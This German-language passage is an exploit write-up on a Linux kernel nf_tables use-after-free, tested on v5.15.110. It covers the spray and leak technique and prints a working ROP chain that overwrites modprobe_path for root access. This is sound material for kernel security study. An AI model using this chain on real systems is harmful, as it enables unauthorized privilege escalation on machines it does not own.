
Da in älteren Kerneln (<5.16) der Patch fehlt, wodurch das consumed-Feld der nft_quota-Struktur nicht zum Lesen/Schreiben von Speicheradressen verwendet werden kann, wird eine ROP-Methode zur Privilege Escalation in Betracht gezogen. Der Exploit von Google verwendet die Methode NFT_MSG_DELRULE+NFT_MSG_DELSET, um UAF auszulösen. Bei tatsächlichen Tests crasht dieses Skript jedoch direkt in nf_table_commit->list_del_rcu.
Dieser Exploit wurde unter v5.15.110 getestet
Unter Nutzung beider Exploits wird die nft_rule-Struktur gesprayt; über list_head wird die Kernel-Stack-Adresse geleakt, über nft_expr->ops die Kernel-Adresse und über nft_expr->ops->deactivate der Kontrollfluss übernommen.
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
struct nft_rule *rule,
enum nft_trans_phase phase)
{
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->deactivate)
expr->ops->deactivate(ctx, expr, phase); // [7]
expr = nft_expr_next(expr);
}
}
Zur einfacheren Privilege Escalation wird direkt die auf modprobe_path basierende Methode aus Exploit 1 übernommen; der konstruierte ROP sieht wie folgt aus.
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
data[0] = kbase + POP_5REG_RET; // skip metadata
data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
// /tmp/mod - sbin/mod
// 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
data[6] = kbase + POP_RAX_RET;
data[7] = kbase + cfg_modprobe_path+1; // [rax]
data[8] = kbase + POP_RDI_RET;
data[9] = 0x20411bc; // rdi
data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}
Zunächst führt der Kernel bis zu data[5] aus; in rax ist die Adresse des Blockanfangs (&data[0]) gespeichert. Mit push rax; pop rsp; ret; wird der Stack-Umzug durchgeführt, was unvermeidbar eine Stack-Zerstörung verursacht (danach kann nicht normal in den Benutzermodus zurückgekehrt werden. Falls eine Privilege Escalation in den Benutzermodus benötigt wird, kann ein größerer Block (>0x80) konstruiert werden; siehe make_payload_rop2 im Exploit, das swapgs_restore_regs_and_return_to_usermode verwendet, um kpti zu umgehen und in den Benutzermodus zurückzukehren).
Da das gefälschte nft_rule 0x18 Bytes Metadaten enthält (hauptsächlich die 8 Bytes bei Offset 0x10), müssen diese Adressen mit pop übersprungen werden. Danach kann man frei agieren; es genügt, mit einigen kurzen gadgets modprobe_path zu verändern.